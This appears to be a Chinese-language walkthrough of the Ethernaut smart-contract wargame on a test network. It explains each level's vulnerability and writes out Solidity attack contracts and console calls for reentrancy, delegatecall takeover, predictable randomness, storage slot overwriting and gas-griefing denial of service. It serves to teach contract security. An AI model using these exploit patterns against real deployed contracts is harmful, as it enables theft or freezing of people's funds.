首先,准备工作
1、下载好matemask获取免费的测试以太网,大佬告诉本菜说可以点击matemask以太币不够可以重新申请一个账号(放心现在申请肯定不会很麻烦一键式操作)之后点击存入—获取,之后狂点获取按钮。
2、你需要懂智能合约的基础,以及web3.js和操作码的执行方式(当然懂了合约也可以慢慢的做下去,毕竟这个靶场就是给人熟悉合约以及其漏洞的)
这个级别目的是让你熟悉靶场操作,因此依次按照提示一步一步做就可以完成了
最后那个await contract.getCleared()是检查是否完成就本题适用,这时候就可以提交实例(可以使用contract.abi查看所有能使用的操作方法及注意事项)
本题考点操作函数的调用以及对于回退函数的调用
首先本题源码是这样的:
首先我们对于拥有者的改变可以有两种方法但是对于contribute函数的方法不是很适用原因如下:
函数创建时构造函数便执行了,因此我们查看了contributions[owner]得到结果如下图所示
这儿有一千万,明显不是很现实因此我们需要调用回退函数
(执行回退函数的条件(满足其一就行):
1、没有其他函数与给定函数标识符匹配
2、合约接收没有数据的纯ether(例如:转账函数))
因此我们可以调用转账函数,await contract.sendTransaction({value:1})或者使用matemask的转账功能(注意转账地址是合约地址也就是说instance的地址)
首先满足回退函数的require中的contributions[msg.sender] > 0,之后转账调用回退函数这时我们已经成为合约的拥有者,调用withdraw转走合约中所有的币。
仔细观察合约发现合约的构造函数写错了将Fallout写成了Fal1out,很明显合约名的第四个字母l被写成了1导致Fal1out只是一个普通函数任何人都可以调用,因此本题比较简单仅需要调用Fal1out函数就可以将拥有者改为自己。
这道题由于block的相关值当随机数验证会有严重问题,可以复现。
源码如下:
利用remix部署攻击合约
其相关的攻击代码
contract attack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip c;
function attack(address _addr) public payable{
c=CoinFlip(_addr);
}
function poc() public payable{
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
c.flip(side);
}
}
函数调用至少十次,之后在控制台查看赢的次数只要大于10便可以提交实例
tx.origin和msg.sender的区别,msg.sender(address payable):消息发送方(当前调用)而tx.origin(address):交易发送方(完整调用链上的原始发送方)。因此增加一个过程导致msg.sender!=tx.origin就成功了
源码如下:
攻击合约的部署:
其相关的攻击代码
contract attack{
Telephone tl;
function attack(address _addr) public{
tl = Telephone(_addr);
}
function poc() public payable{
tl.changeOwner(msg.sender);
}
}
直接调用攻击合约,我们就可以直接成为拥有者。
因为没有对传入的值做判断且类型使uint型导致值溢出。
源码如下:
攻击代码如下:
其中的level只要不是player都可以,因为自己给自己不会成功
拿到合约的所有权,call与delegatecall的功能类似,区别仅在于后者仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。注意delegatecall是危险函数,他可以完全操作当前合约的状态。比如这里的当msg.data为pwn()时可以调用到实例delegate中的pwn(),导致owner变成了调用这个fallback函数的人。而 function id 为4 bytes的hash值,加上前面的0x,总共是要取前10个字符。所以使用web3.sha3(“pwn()”).slice(0,10)。pwn()的function id是 0xdd365b8b ,将其放入msg.data中,打钱给合约地址。
源码如下:
攻击代码如下:
可以看到合约的拥有者已经变成我了
无中生有,自毁合约时可以传值,导致合约的币无中生有。
源码如下:
攻击合约如下:
执行攻击合约就完成该难度。
虽然合约当中将password设置为private,但是由于链上信息都是透明的,因此我们可以在链上拿到密码,因此这儿我们需要懂一些存储以及web3.js的知识。
源码如下:
攻击代码如下:
合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,因此只要拒绝奖金就可以一直是国王。
源码如下:
攻击代码如下:但是不知道是不是有缺陷我试过当我成为king时我就可以提交实例。
重入漏洞,msg.sender.call.value(_amount)()就是这儿会引发调用回退函数由于这时候没有对账户余额做校验因此就可以不断的从合约中拿币,直到没有币的时候。
源码如下:
攻击代码如下:
先存一个以太,再调用hack函数。值得注意的是我们需要将gas值设置一个较大数。设置方法如下
上面便是设置步骤,下面是合约调用时的界面。
使top值改变为true就可以完成实例。观察合约发现goTo函数调用了两次isLastFloor,因此对于将函数构造为取反函数就可以完成此题。
源码如下:
攻击代码如下:
其攻击代码如下
contract BuildingPoc {
Elevator ele;
bool t = true;
function isLastFloor(uint) view public returns (bool){
t = !t;
return t;
}
function attack(address _addr) public{
ele = Elevator(_addr);
ele.goTo(5);
}
}
此题的要求是将locked成为false,和8.Vault类似从链上拿到敏感信息。
源码如下:
根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。 那么我们简单分析下题目中的变量们:
bool public locked = true; //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节
bytes32[3] private data;
那么第一个 32 字节就是由locked
、flattening
、denomination
、awkwardness
组成,另外由于常量(constant)是无需存储的,所以从第二个 32 字节起就是 data。 因此只需要将第四个存储槽内容取出即可。
取出语句为:web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
关于为什么取的地址的前十六个字节,可以试一试下面代码,进行转换。
完成三个函数修饰器的限制就可以完成该难度。
源码如下:
1、调用者不能是合约的拥有者
2、调用到这步时剩余的gas需要是8191的倍数
3、换算,上一题我有提到。
攻击合约如下:
调用poc就可以完成此难度。其中对于为什么使msg.sender因为对于源码合约调用者是我们部署的攻击合约而且对于调用的tx.origin就是攻击者的原始发起人。
攻击源码如下:
contract attack{
GatekeeperOne gate;
bytes8 _gateKey=bytes8(msg.sender) & 0xffffffff0000ffff;
function attack(address _addr) public {
gate = GatekeeperOne(_addr);
}
function poc() public{
gate.call.gas(90316)(bytes4(keccak256("enter(bytes8)")),_gateKey);
}
}
对此我有以下测试代码
pragma solidity ^0.4.0;
contract A {
address public temp1;
uint256 public temp2;
address public temp3;
function three_call(address addr) public {
addr.call(bytes4(keccak256("test()"))); // 1
//addr.delegatecall(bytes4(keccak256("test()"))); // 2
//addr.callcode(bytes4(keccak256("test()"))); // 3
}
}
contract B {
address public temp1;
uint256 public temp2;
address public temp3;
function test() public {
temp1 = msg.sender;
temp3 = tx.origin;
temp2 = 100;
}
}
可以在测试环境中,尝试转换调用者查看不同的输出结果。
和上一题一样,完成三个需求。
源码如下:
gateTwo 中 extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编,来获取调用方(caller)的代码大小,一般来说,caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0 。条件为调用方代码大小为 0 ,但这又与 gateOne 冲突了。经过研究发现,当合约在初始化,还未完全创建时,代码大小是可以为0的。因此,我们需要把攻击合约的调用操作写在 constructor
构造函数中。第二点,这里判断的是msg.sender,所以要在代码里进行实时计算。异或的特性就是异或两次就是原数据。所以将sender和FFFFFFFFFFFFFFFF进行异或的值就是我们想要的。
攻击合约如下:
由于合约没有对父合约做重写,导致利用父合约的函数可以进行及时转账。
源码如下:
既然子合约没有什么问题,那我们看看 import 的父合约 StandardToken.sol,其其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer
一个transferFrom
,题目中代码只重写了transfer
函数,那未重写transferFrom
就是一个可利用的点了。直接看看StandardToken.sol
代码:
contract StandardToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
...
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
...
}
跟进ERC20Lib.sol
:
library ERC20Lib {
...
function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
self.balances[_to] = self.balances[_to].plus(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from](msg.sender);
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from](msg.sender) = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender](_spender) = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
可以直接调用这个transferFrom
即可了。但是transferFrom
有一步权限验证,要验证这个msg.sender
是否被_from
(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权。
攻击代码如下:
该合同利用一个库为两个不同的时区存储两个不同的时间。构造函数每次都创建两个库实例。利用delegatecall
源码如下:
攻击合约如下:
await contract.setSecondTime(恶意合约地址)
await contract.setFirstTime(player地址)
这样我们就成为了合约的拥有者
此漏洞出现于对于结构体的重定义会覆盖之前的参数
源码如下:
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
重新定义了结构体,因此会覆盖第一个第二个存储块
因此我们只要将_name设置为bytes32(1)就将unlocked变为了true
攻击代码如下:
攻击代码如下
contract attack{
function go(address param){
Locked a = Locked(param);
a.register(bytes32(1),address(msg.sender));
}
}
合约创建时会创建一个新的合约,并给它转入0.5个以太。由于在链上所有东西都是透明的,因此合约创建时我们直接查看合约就可以查看到新建立的合约的地址。
我们可以通过matemask的交易记录查看合约内容找到隐藏的合约地址。
攻击合约为:
我们调用攻击合约时,填入的地址一定是刚刚在链上找到的合约地址。
攻击代码如下
contract RecoveryPoc {
SimpleToken target;
constructor(address _addr) public{
target = SimpleToken(_addr);
}
function attack() public{
target.destroy(tx.origin);
}
}
要求输出42但是正确的操作码却是2A
源码如下:
对于操作码的执行我们需要用转账函数
web3.eth.sendTransaction({from : player,data : bytecode},function(err,res){console.log(res)})
攻击代码如下:
注意:这儿的地址是上面部署的合约的地址
首先,我们看到每个函数都加了函数修饰器contact,因此我们需要将contact = true
之后利用revise来更改所属者。
源码如下:
更改contact步骤,利用链上操作因为如果直接写入会溢出报错
sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第 0x20 位开始
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
await contract.contact()
// false
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
await contract.contact()
// true
await contract.retract()
造成下溢,使code长度为2^256-1
Ownable.sol原始传送门
由于拥有者地址和contact占有一个存储块而code在第二个存储块,因为数组计算存储位是通过这个公式计算的。slot是数组所在的存储位也就是说是code的存储块因此我们可以推
x == keccak256(slot) + (2^256 - keccak256(slot) ) + x == 2^256 + x
因为溢出的缘故,2^256 +x == x。所以我们传一个下标为(2^256 - keccak256(slot) ) + x的值就可以定位到任意存储位了。x=0时,slot等于1时这个位置为2^256-keccak256(1)
计算方法如下
pragma solidity ^0.4.18;
contract ie{
uint index;
function test() public returns(uint){
index = 2**256 - 1 - uint(keccak256(bytes32(1))) + 1;
return index;
}
}
之后直接调用revise
await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',"0x0000000000000000000000001c100389ebd5fde4c8aa8f6246b86cb89fb367dd")
可以重入,或者消耗完gas
源码如下:
攻击合约如下:
攻击代码如下
pragma solidity ^0.4.24;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance/100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner] + amountToSend;
}
// allow deposit of funds
function() payable {}
// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
contract DenialPoc{
Denial target;
constructor(address _addr) public {
target = Denial(_addr);
}
function () payable public {
target.withdraw();
}
}
要求是修改 price 低于 100,
那就第一次返回大于100,第二次返回小于100。
源码如下:
攻击代码如下
contract ShopPoc{
Shop target;
function attack(address _addr) public{
target = Shop(_addr);
target.buy();
}
function price() external view returns (uint){
if (target.isSold() == true){
return 99;
}
return 102;
}
}